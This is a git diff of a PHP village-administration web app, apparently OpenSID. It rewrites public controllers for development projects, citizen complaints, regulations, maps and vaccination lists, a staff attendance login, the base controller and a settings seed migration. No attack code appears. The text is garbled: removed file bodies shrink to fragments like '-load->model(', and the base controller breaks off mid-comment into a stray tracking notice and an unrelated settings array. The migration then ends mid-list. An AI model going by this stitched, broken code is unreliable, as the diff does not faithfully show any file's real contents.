+ $data['detail'] = $this->kelompok_model->get_kelompok($id);
+ $data['title'] = 'Data Lembaga ' . $data['detail']['nama'];
+ $data['anggota'] = $this->kelompok_model->list_anggota(0, 0, 500, $id, 'anggota');
+ $data['pengurus'] = $this->kelompok_model->list_pengurus($id);
+
+ // Jika lembaga tdk tersedia / sudah terhapus pd modul lembaga
+ if ($data['detail'] == null) {
+ show_404();
+ }
+
+ $this->_get_common_data($data);
+ $this->set_template('layouts/kelompok.tpl.php');
+ $this->load->view($this->template, $data);
+ }
+}
diff --git a/donjo-app/controllers/fweb/Pembangunan.php b/donjo-app/controllers/fweb/Pembangunan.php
index c423c987d..fd3a9b4ca 100644
--- a/donjo-app/controllers/fweb/Pembangunan.php
+++ b/donjo-app/controllers/fweb/Pembangunan.php
@@ -1,545 +1,84 @@
-load->model(['pembangunan_model', 'pembangunan_dokumentasi_model']);
+ }
+
+ public function index($p = 1)
+ {
+ if (! $this->web_menu_model->menu_aktif('pembangunan')) {
+ show_404();
+ }
+
+ $this->pembangunan_model->set_tipe(''); // Ambil semua pembangunan
+
+ $data = $this->includes;
+ $this->_get_common_data($data);
+
+ $data['paging'] = $this->pembangunan_model->paging_pembangunan($p);
+ $data['paging_page'] = 'pembangunan/index';
+ $data['paging_range'] = 3;
+ $data['start_paging'] = max($data['paging']->start_link, $p - $data['paging_range']);
+ $data['end_paging'] = min($data['paging']->end_link, $p + $data['paging_range']);
+ $data['pages'] = range($data['start_paging'], $data['end_paging']);
+ $data['pembangunan'] = $this->pembangunan_model->get_data('', 'semua')->where('p.status', '1')->limit($data['paging']->per_page, $data['paging']->offset)->order_by('p.tahun_anggaran', 'desc')->get()->result();
+ $data['halaman_statis'] = $this->controller . '/index';
+
+ $this->set_template('layouts/halaman_statis_lebar.tpl.php');
+ $this->load->view($this->template, $data);
+ }
+
+ public function detail($slug = null)
+ {
+ $data = $this->includes;
+ $this->_get_common_data($data);
+
+ $data['pembangunan'] = $this->pembangunan_model->slug($slug);
+ $data['dokumentasi'] = $this->pembangunan_dokumentasi_model->find_dokumentasi($data['pembangunan']->id);
+ $data['halaman_statis'] = $this->controller . '/detail';
+
+ $this->set_template('layouts/halaman_statis_lebar.tpl.php');
+ $this->load->view($this->template, $data);
+ }
+}
diff --git a/donjo-app/controllers/fweb/Pemerintah.php b/donjo-app/controllers/fweb/Pemerintah.php
index 074edf46c..b29061453 100644
--- a/donjo-app/controllers/fweb/Pemerintah.php
+++ b/donjo-app/controllers/fweb/Pemerintah.php
@@ -1,537 +1,62 @@
-web_menu_model->menu_aktif('pemerintah')) {
+ show_404();
+ }
+
+ $data = $this->includes;
+ $this->_get_common_data($data);
+
+ $data['pemerintah'] = $data['aparatur_desa']['daftar_perangkat'];
+ $data['halaman_statis'] = 'pemerintah/index';
+
+ $this->set_template('layouts/halaman_statis_lebar.tpl.php');
+ $this->load->view($this->template, $data);
+ }
+}
diff --git a/donjo-app/controllers/fweb/Pengaduan.php b/donjo-app/controllers/fweb/Pengaduan.php
index 24086220d..55b14e763 100644
--- a/donjo-app/controllers/fweb/Pengaduan.php
+++ b/donjo-app/controllers/fweb/Pengaduan.php
@@ -1,529 +1,141 @@
-load->model('pengaduan_model');
+ $this->load->library('upload');
+ }
+
+ public function index($p = 1)
+ {
+ if (! $this->web_menu_model->menu_aktif('pengaduan')) {
+ show_404();
+ }
+
+ $data = $this->includes;
+ $this->_get_common_data($data);
+
+ $data['form_action'] = site_url("{$this->controller}/kirim");
+ $data['cari'] = $this->input->get('cari', true);
+ $data['caristatus'] = $this->input->get('caristatus', true);
+
+ // TODO : Sederhanakan bagian panging dengan suffix
+ $data['paging'] = $this->pengaduan_model->paging_pengaduan($p, $data['cari'] ?? '', $data['caristatus'] ?? '');
+ $data['paging_page'] = 'pengaduan';
+ $data['paging_range'] = 3;
+ $data['start_paging'] = max($data['paging']->start_link, $p - $data['paging_range']);
+ $data['end_paging'] = min($data['paging']->end_link, $p + $data['paging_range']);
+ $data['pages'] = range($data['start_paging'], $data['end_paging']);
+
+ $data['pengaduan'] = $this->pengaduan_model->get_pengaduan($data['cari'] ?? '', $data['caristatus'] ?? '');
+ $data['pengaduan'] = $data['pengaduan']->limit($data['paging']->per_page, $data['cari'] ? 0 : $data['paging']->offset)->get()->result_array();
+ $data['pengaduan_balas'] = $this->pengaduan_model->get_pengaduan_balas($data['cari'] ?? '', $data['caristatus'] ?? '')->get()->result_array();
+ $data['halaman_statis'] = 'pengaduan/index';
+
+ $this->set_template('layouts/halaman_statis_lebar.tpl.php');
+ $this->load->view($this->template, $data);
+ }
+
+ public function kirim()
+ {
+ $this->load->library('Telegram/telegram');
+
+ // Periksa isian captcha
+ include FCPATH . 'securimage/securimage.php';
+ $securimage = new Securimage();
+
+ $post = $this->input->post();
+ if ($securimage->check($post['captcha_code']) == false) {
+ $notif = [
+ 'status' => 'error',
+ 'pesan' => 'Kode captcha anda salah. Silakan ulangi lagi.',
+ 'data' => $post,
+ ];
+ } elseif (empty($this->input->ip_address())) {
+ $notif = [
+ 'status' => 'error',
+ 'pesan' => 'Pengaduan gagal dikirim. IP Address anda tidak dikenali.',
+ ];
+ } else {
+ // Cek pengaduan dengan ip_address yang pada hari yang sama
+ $cek = PengaduanModel::where('ip_address', '=', $this->input->ip_address())
+ ->whereDate('created_at', date('Y-m-d'))
+ ->exists();
+
+ if ($cek) {
+ $notif = [
+ 'status' => 'error',
+ 'pesan' => 'Pengaduan gagal dikirim. Anda hanya dapat mengirimkan satu pengaduan dalam satu hari.',
+ ];
+ } else {
+ if ($this->pengaduan_model->insert()) {
+ if (! empty($this->setting->telegram_token) && cek_koneksi_internet()) {
+ try {
+ $this->telegram->sendMessage([
+ 'text' => 'Halo! Ada pengaduan baru dari warga, mohon untuk segera ditindak lanjuti. Terima kasih.',
+ 'parse_mode' => 'Markdown',
+ 'chat_id' => $this->setting->telegram_user_id,
+ ]);
+ } catch (Exception $e) {
+ log_message('error', $e->getMessage());
+ }
+ }
+ $notif = [
+ 'status' => 'success',
+ 'pesan' => 'Pengaduan berhasil dikirim.',
+ ];
+ } else {
+ $notif = [
+ 'status' => 'error',
+ 'pesan' => 'Pengaduan gagal dikirim.',
+ 'data' => $post,
+ ];
+ }
+ }
+ }
+
+ redirect_with('notif', $notif);
+ }
+}
diff --git a/donjo-app/controllers/fweb/Peraturan.php b/donjo-app/controllers/fweb/Peraturan.php
index e338e2c64..5c564e3b4 100644
--- a/donjo-app/controllers/fweb/Peraturan.php
+++ b/donjo-app/controllers/fweb/Peraturan.php
@@ -1,529 +1,98 @@
-web_menu_model->menu_aktif('peraturan-desa')) {
+ show_404();
+ }
+
+ $data = $this->includes;
+
+ $data['pilihan_kategori'] = RefDokumen::query()
+ ->where('id', '!=', 1)
+ ->pluck('nama', 'id')
+ ->transform(static function ($item, $key) {
+ if ($key === 2) {
+ return str_replace(['Desa', 'desa'], ucwords(setting('sebutan_desa')), $item);
+ }
+
+ if ($key === 3) {
+ return "{$item} Di " . ucwords(setting('sebutan_desa'));
+ }
+
+ return $item;
+ });
+ $data['pilihan_tahun'] = Dokumen::distinct('tahun')->hidup()->where('kategori', '!=', 1)->pluck('tahun');
+ $data['halaman_statis'] = 'peraturan/index';
+
+ $this->_get_common_data($data);
+ $this->set_template('layouts/halaman_statis.tpl.php');
+ $this->load->view($this->template, $data);
+ }
+
+ public function datatables()
+ {
+ if ($this->input->is_ajax_request()) {
+ $filters = [
+ 'tahun' => $this->input->get('tahun', true),
+ 'kategori' => $this->input->get('kategori', true),
+ ];
+
+ $query = Dokumen::select(['id', 'nama', 'tahun', 'satuan', 'kategori', 'attr', 'url'])
+ ->hidup()
+ ->aktif()
+ ->where('kategori', '!=', 1)
+ ->filters($filters);
+
+ return datatables()
+ ->of($query)
+ ->addIndexColumn()
+ ->addColumn('kategori_dokumen', static function ($row) {
+ return $row['attr']['jenis_peraturan'] ?? $row->kategoriDokumen->nama;
+ })
+ ->make();
+ }
+
+ return show_404();
+ }
+}
diff --git a/donjo-app/controllers/fweb/Peta.php b/donjo-app/controllers/fweb/Peta.php
index 24ac7775a..b0aa529e6 100644
--- a/donjo-app/controllers/fweb/Peta.php
+++ b/donjo-app/controllers/fweb/Peta.php
@@ -1,489 +1,73 @@
-web_menu_model->menu_aktif('peta')) {
+ show_404();
+ }
+
+ $this->load->model(['wilayah_model', 'referensi_model', 'laporan_penduduk_model', 'plan_garis_model', 'plan_lokasi_model', 'data_persil_model', 'plan_area_model', 'pembangunan_model']);
+
+ $data = $this->includes;
+
+ $data['list_dusun'] = $this->wilayah_model->list_dusun();
+ $data['wilayah'] = $this->wilayah_model->list_wil();
+ $data['desa'] = $this->header;
+ $data['title'] = 'Peta ' . ucwords($this->setting->sebutan_desa . ' ' . $data['desa']['nama_desa']);
+ $data['dusun_gis'] = $data['list_dusun'];
+ $data['rw_gis'] = $this->wilayah_model->list_rw();
+ $data['rt_gis'] = $this->wilayah_model->list_rt();
+ $data['list_ref'] = $this->referensi_model->list_ref(STAT_PENDUDUK);
+ $data['covid'] = $this->laporan_penduduk_model->list_data('covid');
+ $data['lokasi'] = $this->plan_lokasi_model->list_lokasi(1);
+ $data['garis'] = $this->plan_garis_model->list_garis(1);
+ $data['area'] = $this->plan_area_model->list_area(1);
+ $data['lokasi_pembangunan'] = $this->pembangunan_model->list_lokasi_pembangunan(1);
+ $data['persil'] = $this->data_persil_model->list_data();
+ $data['list_bantuan'] = collect(unserialize(STAT_BANTUAN))->toArray() + collect($this->program_bantuan_model->list_program(0))->pluck('nama', 'lap')->toArray();
+ $data['halaman_peta'] = 'web/halaman_statis/peta';
+
+ $this->_get_common_data($data);
+ $this->set_template('layouts/peta_statis.tpl.php');
+ $this->load->view($this->template, $data);
+ }
+}
diff --git a/donjo-app/controllers/fweb/Sdgs.php b/donjo-app/controllers/fweb/Sdgs.php
index bb495b303..04dc60743 100644
--- a/donjo-app/controllers/fweb/Sdgs.php
+++ b/donjo-app/controllers/fweb/Sdgs.php
@@ -1,489 +1,59 @@
-web_menu_model->menu_aktif('status-sdgs')) {
+ show_404();
+ }
+
+ $data = $this->includes;
+ $this->_get_common_data($data);
+ $data['halaman_statis'] = 'sdgs/index';
+ $this->set_template('layouts/halaman_statis_lebar.tpl.php');
+ $this->load->view($this->template, $data);
+ }
+}
diff --git a/donjo-app/controllers/fweb/Suplemen.php b/donjo-app/controllers/fweb/Suplemen.php
index 677e565b0..0509d25e0 100644
--- a/donjo-app/controllers/fweb/Suplemen.php
+++ b/donjo-app/controllers/fweb/Suplemen.php
@@ -1,521 +1,70 @@
-load->model('suplemen_model');
+
+ $this->session->unset_userdata('per_page');
+ }
+
+ public function detail($slug = null)
+ {
+ $id = SuplemenModel::where('slug', $slug)->first()->id;
+
+ if (! $this->web_menu_model->menu_aktif('data-suplemen/' . $id)) {
+ show_404();
+ }
+
+ $data = $this->includes;
+ $data['main'] = $this->suplemen_model->get_rincian(0, $id);
+ $data['title'] = 'Data Suplemen ' . $data['main']['suplemen']['nama'];
+ $data['sasaran'] = SasaranEnum::all();
+
+ $this->_get_common_data($data);
+ $this->set_template('layouts/suplemen.tpl.php');
+ $this->load->view($this->template, $data);
+ }
+}
diff --git a/donjo-app/controllers/fweb/Vaksin.php b/donjo-app/controllers/fweb/Vaksin.php
index 20a5af693..e5a234006 100644
--- a/donjo-app/controllers/fweb/Vaksin.php
+++ b/donjo-app/controllers/fweb/Vaksin.php
@@ -1,505 +1,65 @@
-load->model('vaksin_covid_model');
+ }
+
+ public function index()
+ {
+ if (! $this->web_menu_model->menu_aktif('data-vaksinasi')) {
+ show_404();
+ }
+
+ $data = $this->includes;
+
+ $data['main'] = $this->vaksin_covid_model->list_penduduk(0);
+ $data['heading'] = 'Daftar Nama Warga Yang Telah Divaksin';
+ $data['title'] = $data['heading'];
+ $data['halaman_statis'] = 'vaksin/index';
+
+ $this->_get_common_data($data);
+ $this->set_template('layouts/halaman_statis.tpl.php');
+ $this->load->view($this->template, $data);
+ }
+}
diff --git a/donjo-app/controllers/fweb/Verifikasi_surat.php b/donjo-app/controllers/fweb/Verifikasi_surat.php
index ff41544e9..b1d06644a 100644
--- a/donjo-app/controllers/fweb/Verifikasi_surat.php
+++ b/donjo-app/controllers/fweb/Verifikasi_surat.php
@@ -1,585 +1,80 @@
-load->model(['keluar_model', 'url_shortener_model', 'stat_shortener_model']);
+ }
+
+ public function cek($alias = null)
+ {
+ $cek = $this->url_shortener_model->get_url($alias);
+ if (! $cek) {
+ show_404();
+ }
+
+ $this->stat_shortener_model->add_log($cek->id);
+
+ redirect($cek->url);
+ }
+
+ public function encode($id_dokumen = null)
+ {
+ $id_encoded = $this->url_shortener_model->encode_id($id_dokumen);
+
+ redirect('verifikasi-surat/' . $id_encoded);
+ }
+
+ public function decode($id_encoded = null)
+ {
+ $id_decoded = $this->url_shortener_model->decode_id($id_encoded);
+
+ $data['config'] = $this->header;
+ $data['surat'] = $this->keluar_model->verifikasi_data_surat($id_decoded, $this->header['kode_desa']);
+
+ if (! $data['surat']) {
+ show_404();
+ }
+
+ $this->load->view("{$this->includes['folder_themes']}/partials/surat/index", $data);
+ }
+}
diff --git a/donjo-app/controllers/kehadiran/Perangkat.php b/donjo-app/controllers/kehadiran/Perangkat.php
index 407d47b81..e0588b071 100644
--- a/donjo-app/controllers/kehadiran/Perangkat.php
+++ b/donjo-app/controllers/kehadiran/Perangkat.php
@@ -1,569 +1,266 @@
-tgl = date('Y-m-d');
+ $this->jam = date('H:i');
+ $this->ip = $this->input->ip_address();
+ $this->mac = $this->input->get('mac_address', true) ?? $this->session->mac_address;
+ $this->pengunjung = $_COOKIE['pengunjung'];
+ $this->url = 'kehadiran/masuk';
+
+ if ($this->mac) {
+ $this->session->mac_address = $this->mac;
+ }
+ }
+
+ public function index()
+ {
+ $this->cekLogin();
+
+ $data = [
+ 'masuk' => $this->session->masuk,
+ 'success' => $this->session->kehadiran,
+ 'ip_address' => $this->ip,
+ 'mac_address' => $this->mac,
+ 'kehadiran' => Kehadiran::where('tanggal', '=', $this->tgl)->where('pamong_id', '=', $this->session->masuk['pamong_id'])->where('status_kehadiran', '=', 'hadir')->first(),
+ 'alasan' => AlasanKeluar::get(),
+ ];
+
+ return view('kehadiran.index', $data);
+ }
+
+ public function cek($ektp = false)
+ {
+ if (! $this->input->post()) {
+ redirect($this->url);
+ }
+
+ $username = trim($this->request['username']);
+ $password = trim($this->request['password']);
+ $tag = trim($this->request['tag']);
+
+ $user = User::with(['pamong'])
+ ->whereHas('pamong', static function ($query) use ($username) {
+ $query
+ ->status('1') // pamong aktif
+ ->where(static function ($query) use ($username) {
+ $query
+ ->orWhere('username', $username)
+ ->orWhere('pamong_nik', $username)
+ ->orWhereHas('penduduk', static function ($query) use ($username) {
+ $query->where('nik', $username);
+ });
+ });
+ })
+ ->orWhereHas('pamong', static function ($query) use ($tag) {
+ $query
+ ->status('1') // pamong aktif
+ ->where(static function ($query) use ($tag) {
+ $query
+ ->orWhere('pamong_tag_id_card', $tag)
+ ->orWhereHas('penduduk', static function ($query) use ($tag) {
+ $query->where('tag_id_card', $tag);
+ });
+ });
+ })
+ ->first();
+
+ if ($ektp) {
+ if (! $user) {
+ set_session('error', 'ID Card Salah. Coba Lagi');
+ redirect($this->url);
+ }
+ } else {
+ if (password_verify($password, $user->password) === false) {
+ set_session('error', 'Username atau Password Salah');
+ redirect($this->url);
+ }
+ }
+
+ $this->session->masuk = [
+ 'pamong_id' => $user->pamong_id,
+ 'pamong_nama' => $user->pamong->penduduk->nama ?? $user->pamong->pamong_nama ?? $user->nama,
+ 'jabatan' => $user->pamong->jabatan,
+ 'sex' => $user->pamong->penduduk->sex ?? $user->pamong->pamong_sex,
+ 'foto' => $user->pamong->penduduk->foto ?? $user->pamong->foto ?? $user->foto,
+ ];
+
+ redirect('kehadiran');
+ }
+
+ public function masukEktp()
+ {
+ $this->masuk(true);
+ }
+
+ public function cekEktp()
+ {
+ $this->url = 'kehadiran/masuk-ektp';
+ $this->cek(true);
+ }
+
+ public function masuk($ektp = false)
+ {
+ $data = [
+ 'ip_address' => $this->ip,
+ 'mac_address' => $this->mac,
+ 'id_pengunjung' => $this->pengunjung,
+ 'ektp' => $ektp,
+ 'cek' => $this->deteksi(),
+ ];
+
+ return view('kehadiran.masuk', $data);
+ }
+
+ public function checkInOut()
+ {
+ $this->cekLogin();
+ $pamong_id = $this->session->masuk['pamong_id'];
+ $status_kehadiran = $this->request['status_kehadiran'];
+
+ if ($status_kehadiran == 'hadir') {
+ $check_in = Kehadiran::create([
+ 'tanggal' => $this->tgl,
+ 'pamong_id' => $pamong_id,
+ 'jam_masuk' => $this->jam,
+ 'status_kehadiran' => $status_kehadiran,
+ ]);
+
+ $this->session->kehadiran = $check_in ? true : false;
+ } else {
+ $check_out = Kehadiran::where('tanggal', $this->tgl)->where('pamong_id', $pamong_id)->latest('jam_masuk')->take(1)->update([
+ 'jam_keluar' => $this->jam,
+ 'status_kehadiran' => $status_kehadiran,
+ ]);
+
+ $this->session->kehadiran = $check_out ? true : false;
+ }
+
+ redirect('kehadiran');
+ }
+
+ public function logout()
+ {
+ $this->session->unset_userdata(['masuk', 'kehadiran', 'mac_address']);
+
+ redirect('kehadiran/masuk');
+ }
+
+ private function cekLogin()
+ {
+ // Paksa keluar jika perangkat tidak terdeteksi
+ if (! $this->deteksi()['status']) {
+ return $this->logout();
+ }
+
+ if (! $this->session->masuk) {
+ redirect($this->url);
+ }
+ }
+
+ private function deteksi()
+ {
+ $cek_gawai = (setting('ip_adress_kehadiran') === $this->ip || setting('mac_adress_kehadiran') === $this->mac || setting('id_pengunjung_kehadiran') === $this->pengunjung);
+ $cek_hari = HariLibur::where('tanggal', '=', date('Y-m-d'))->first();
+ $cek_weekend = JamKerja::libur()->first();
+ $cek_jam = JamKerja::jamKerja()->first();
+
+ return [
+ 'status' => null === $cek_hari && null === $cek_jam && null === $cek_weekend && $cek_gawai === true,
+ 'judul' => 'Tidak bisa masuk!',
+ 'pesan' => $this->getStatusPesan([
+ 'cek_gawai' => $cek_gawai,
+ 'cek_hari' => $cek_hari,
+ 'cek_weekend' => $cek_weekend,
+ 'cek_jam' => $cek_jam,
+ ]),
+ ];
+ }
+
+ private function getStatusPesan(array $cek)
+ {
+ $pesan = '';
+
+ switch (true) {
+ case $cek['cek_gawai'] === false:
+ $pesan = 'Gawai ini belum terdaftar.';
+ break;
+
+ case $cek['cek_hari'] !== null:
+ $pesan = $cek['cek_hari']->keterangan;
+ break;
+
+ case $cek['cek_weekend'] !== null:
+ $pesan = "Hari {$cek['cek_weekend']->nama_hari} libur!";
+ break;
+
+ case $cek['cek_jam'] !== null:
+ $pesan = "Jam kerja hari ini di mulai dari {$cek['cek_jam']->jam_masuk} hingga {$cek['cek_jam']->jam_keluar}";
+ break;
+
+ default:
+ $pesan = '';
+ break;
+ }
+
+ return $pesan;
+ }
+}
diff --git a/donjo-app/core/MY_Controller.php b/donjo-app/core/MY_Controller.php
index 427239b7d..57ce07208 100644
--- a/donjo-app/core/MY_Controller.php
+++ b/donjo-app/core/MY_Controller.php
@@ -1,465 +1,645 @@
-session->db_error;
+ if ($error['code'] == 1049 && ! $this->db) {
+ return;
+ }
+
+ $this->cek_config();
+
+ /*
+ | Tambahkan model yg akan diautoload di sini.
+ | donjo-app/config/autoload.php digunakan untuk autoload model untuk mengisi data awal
+ | pada waktu install, di mana database masih kosong
+ */
+ $this->load->model(['setting_model', 'anjungan_model']);
+ $this->controller = strtolower($this->router->fetch_class());
+ $this->setting_model->init();
+ $this->request = $this->input->post();
+
+ // Untuk anjungan
+ if (Schema::hasColumn('anjungan', 'tipe') && Schema::hasColumn('anjungan', 'status_alasan')) {
+ $this->cek_anjungan = $this->anjungan_model->cek_anjungan();
+ }
+
+ // Cek perangkat lupa absen keluar
+ cek_kehadiran();
+ }
+
+ // Bersihkan session cluster wilayah
+ public function clear_cluster_session()
+ {
+ $cluster_session = ['dusun', 'rw', 'rt'];
+
+ foreach ($cluster_session as $session) {
+ $this->session->unset_userdata($session);
+ }
+ }
+
+ private function cek_config()
+ {
+ if (! $this->db) {
+ $this->load->database();
+ }
+
+ $appKey = get_app_key();
+ $appKeyDb = Config::first();
+
+ if (Config::count() === 0) {
+ $this->session->cek_app_key = true;
+ redirect('koneksi_database/desaBaru');
+ } elseif (Config::count() > 1) {
+ $appKeyDb = Config::appKey()->first();
+ }
+
+ if (! empty($appKeyDb->app_key) && $appKey !== $appKeyDb->app_key) {
+ $this->session->cek_app_key = true;
+ redirect('koneksi_database/config');
+ }
+ }
+}
+
+class Web_Controller extends MY_Controller
+{
+ public $cek_anjungan;
+
+ // Constructor
+ public function __construct()
+ {
+ parent::__construct();
+
+ $this->header = identitas();
+ if ($this->setting->offline_mode == 2) {
+ $this->view_maintenance();
+ } elseif ($this->setting->offline_mode == 1) {
+ $this->load->model('user_model');
+ $grup = $this->user_model->sesi_grup($this->session->sesi);
+ if (! $this->user_model->hak_akses($grup, 'web', 'b')) {
+ $this->view_maintenance();
+ }
+ }
+
+ $this->load->model('theme_model');
+ $this->theme = $this->theme_model->tema;
+ $this->theme_folder = $this->theme_model->folder;
+
+ // Variabel untuk tema
+ $this->set_template();
+ $this->includes['folder_themes'] = "../../{$this->theme_folder}/{$this->theme}";
+
+ $this->load->model('web_menu_model');
+ }
+
+ /**
+ * set_template function
+ *
+ * @param string $template_file
+ *
+ * @return void
+ */
+ public function set_template($template_file = 'template')
+ {
+ $this->template = "../../{$this->theme_folder}/{$this->theme}/{$template_file}";
+ }
+
+ public function _get_common_data(&$data)
+ {
+ $this->load->model('statistik_pengunjung_model');
+ $this->load->model('first_menu_m');
+ $this->load->model('teks_berjalan_model');
+ $this->load->model('first_artikel_m');
+ $this->load->model('web_widget_model');
+ $this->load->model('keuangan_grafik_manual_model');
+ $this->load->model('keuangan_grafik_model');
+ $this->load->model('pengaduan_model'); // TODO: Cek digunakan halaman apa saja
+
+ // Counter statistik pengunjung
+ $this->statistik_pengunjung_model->counter_visitor();
+
+ // Data statistik pengunjung
+ $data['statistik_pengunjung'] = $this->statistik_pengunjung_model->get_statistik();
+
+ $data['latar_website'] = default_file($this->theme_model->lokasi_latar_website() . $this->setting->latar_website, DEFAULT_LATAR_WEBSITE);
+ $data['desa'] = $this->header;
+ $data['menu_atas'] = $this->first_menu_m->list_menu_atas();
+ $data['menu_kiri'] = $this->first_menu_m->list_menu_kiri();
+ $data['teks_berjalan'] = ($this->db->field_exists('tipe', 'teks_berjalan')) ? $this->teks_berjalan_model->list_data(true, 1) : null;
+ $data['slide_artikel'] = $this->first_artikel_m->slide_show();
+ $data['slider_gambar'] = $this->first_artikel_m->slider_gambar();
+ $data['w_cos'] = $this->web_widget_model->get_widget_aktif();
+ $data['cek_anjungan'] = $this->cek_anjungan;
+
+ $this->web_widget_model->get_widget_data($data);
+ $data['data_config'] = $this->header;
+ if ($this->setting->apbdes_footer && $this->setting->apbdes_footer_all) {
+ $data['transparansi'] = $this->setting->apbdes_manual_input
+ ? $this->keuangan_grafik_manual_model->grafik_keuangan_tema()
+ : $this->keuangan_grafik_model->grafik_keuangan_tema();
+ }
+ // Pembersihan tidak dilakukan global, karena artikel yang dibuat oleh
+ // petugas terpecaya diperbolehkan menampilkan
Kami mendeteksi bahwa anda telah mematikan fitur tracking. Bila dimatikan, penggunaan website desa anda tidak akan tercatat di server OpenDesa dan tidak akan menerima informasi penting yang sesekali dikirim OpenDesa.
\n.mp4
yang akan ditampilkan pada anjungan',
+ 'jenis' => null,
+ 'kategori' => 'setting_mandiri',
+ ],
+ [
+ 'id' => 787,
+ 'key' => 'tampilkan_pendaftaran',
+ 'value' => '0',
+ 'keterangan' => 'Aktifkan / Non Aktifkan Pendaftaran Layanan Mandiri',
+ 'jenis' => 'boolean',
+ 'kategori' => 'setting_mandiri',
+ ],
+ [
+ 'id' => 788,
+ 'key' => 'tampilan_anjungan_audio',
+ 'value' => '0',
+ 'keterangan' => 'Apakah audio diaktifkan atau tidak saat video diputar',
+ 'jenis' => 'boolean',
+ 'kategori' => 'setting_mandiri',
+ ],
+ [
+ 'id' => 873,
+ 'key' => 'branding_desa',
+ 'value' => 'LAYANAN MANDIRI',
+ 'keterangan' => 'Nama Branding Aplikasi Layanan Mandiri Android',
+ 'jenis' => null,
+ 'kategori' => 'mobile',
+ ],
+ ]);
+
+ DB::statement("
+ CREATE TABLE `setting_modul` (
+ `id` int(11) NOT NULL AUTO_INCREMENT,
+ `modul` varchar(50) NOT NULL,
+ `url` varchar(50) NOT NULL,
+ `aktif` tinyint(1) NOT NULL DEFAULT 0,
+ `ikon` varchar(50) DEFAULT '',
+ `urut` int(4) DEFAULT NULL,
+ `level` tinyint(1) NOT NULL DEFAULT 2,
+ `hidden` tinyint(1) NOT NULL DEFAULT 0,
+ `ikon_kecil` varchar(50) DEFAULT '',
+ `parent` int(2) NOT NULL DEFAULT 0,
+ PRIMARY KEY (`id`)
+ );
+ ");
+
+ DB::table('setting_modul')->insert([
+ [
+ 'id' => 1,
+ 'modul' => 'Home',
+ 'url' => 'hom_sid',
+ 'aktif' => 1,
+ 'ikon' => 'fa-home',
+ 'urut' => 10,
+ 'level' => 2,
+ 'hidden' => 1,
+ 'ikon_kecil' => 'fa fa-home',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 2,
+ 'modul' => 'Kependudukan',
+ 'url' => '',
+ 'aktif' => 1,
+ 'ikon' => 'fa-users',
+ 'urut' => 30,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-users',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 3,
+ 'modul' => 'Statistik',
+ 'url' => '',
+ 'aktif' => 1,
+ 'ikon' => 'fa-line-chart',
+ 'urut' => 40,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-line-chart',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 4,
+ 'modul' => 'Layanan Surat',
+ 'url' => '',
+ 'aktif' => 1,
+ 'ikon' => 'fa-book',
+ 'urut' => 50,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-book',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 5,
+ 'modul' => 'Analisis',
+ 'url' => '',
+ 'aktif' => 1,
+ 'ikon' => ' fa-check-square-o',
+ 'urut' => 90,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-check-square-o',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 6,
+ 'modul' => 'Bantuan',
+ 'url' => 'program_bantuan/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-heart',
+ 'urut' => 100,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-heart',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 7,
+ 'modul' => 'Pertanahan',
+ 'url' => 'cdesa/clear',
+ 'aktif' => 1,
+ 'ikon' => 'fa-map-signs',
+ 'urut' => 110,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-map-signs',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 8,
+ 'modul' => 'Pengaturan Peta',
+ 'url' => 'plan',
+ 'aktif' => 1,
+ 'ikon' => 'fa-location-arrow',
+ 'urut' => 9,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-location-arrow',
+ 'parent' => 9,
+ ],
+ [
+ 'id' => 9,
+ 'modul' => 'Pemetaan',
+ 'url' => '',
+ 'aktif' => 1,
+ 'ikon' => 'fa-globe',
+ 'urut' => 130,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-globe',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 10,
+ 'modul' => 'SMS',
+ 'url' => '',
+ 'aktif' => 1,
+ 'ikon' => 'fa-envelope',
+ 'urut' => 140,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-envelope',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 11,
+ 'modul' => 'Pengaturan',
+ 'url' => '',
+ 'aktif' => 1,
+ 'ikon' => 'fa-users',
+ 'urut' => 150,
+ 'level' => 1,
+ 'hidden' => 1,
+ 'ikon_kecil' => 'fa-users',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 13,
+ 'modul' => 'Admin Web',
+ 'url' => '',
+ 'aktif' => 1,
+ 'ikon' => 'fa-desktop',
+ 'urut' => 160,
+ 'level' => 4,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-desktop',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 14,
+ 'modul' => 'Layanan Mandiri',
+ 'url' => '',
+ 'aktif' => 1,
+ 'ikon' => 'fa-inbox',
+ 'urut' => 170,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-inbox',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 15,
+ 'modul' => 'Sekretariat',
+ 'url' => '',
+ 'aktif' => 1,
+ 'ikon' => 'fa-archive',
+ 'urut' => 60,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => 'fa fa-archive',
+ 'parent' => 0,
+ ],
+ [
+ 'id' => 17,
+ 'modul' => 'Identitas [Desa]',
+ 'url' => 'identitas_desa',
+ 'aktif' => 1,
+ 'ikon' => 'fa-id-card',
+ 'urut' => 2,
+ 'level' => 2,
+ 'hidden' => 0,
+ 'ikon_kecil' => '',
+ 'parent' => 200,
+ ],
+ [
+ 'id' => 18,
+ 'modul' => 'Pemerintahan [Desa]',
+ 'url' => 'pengurus/clear',
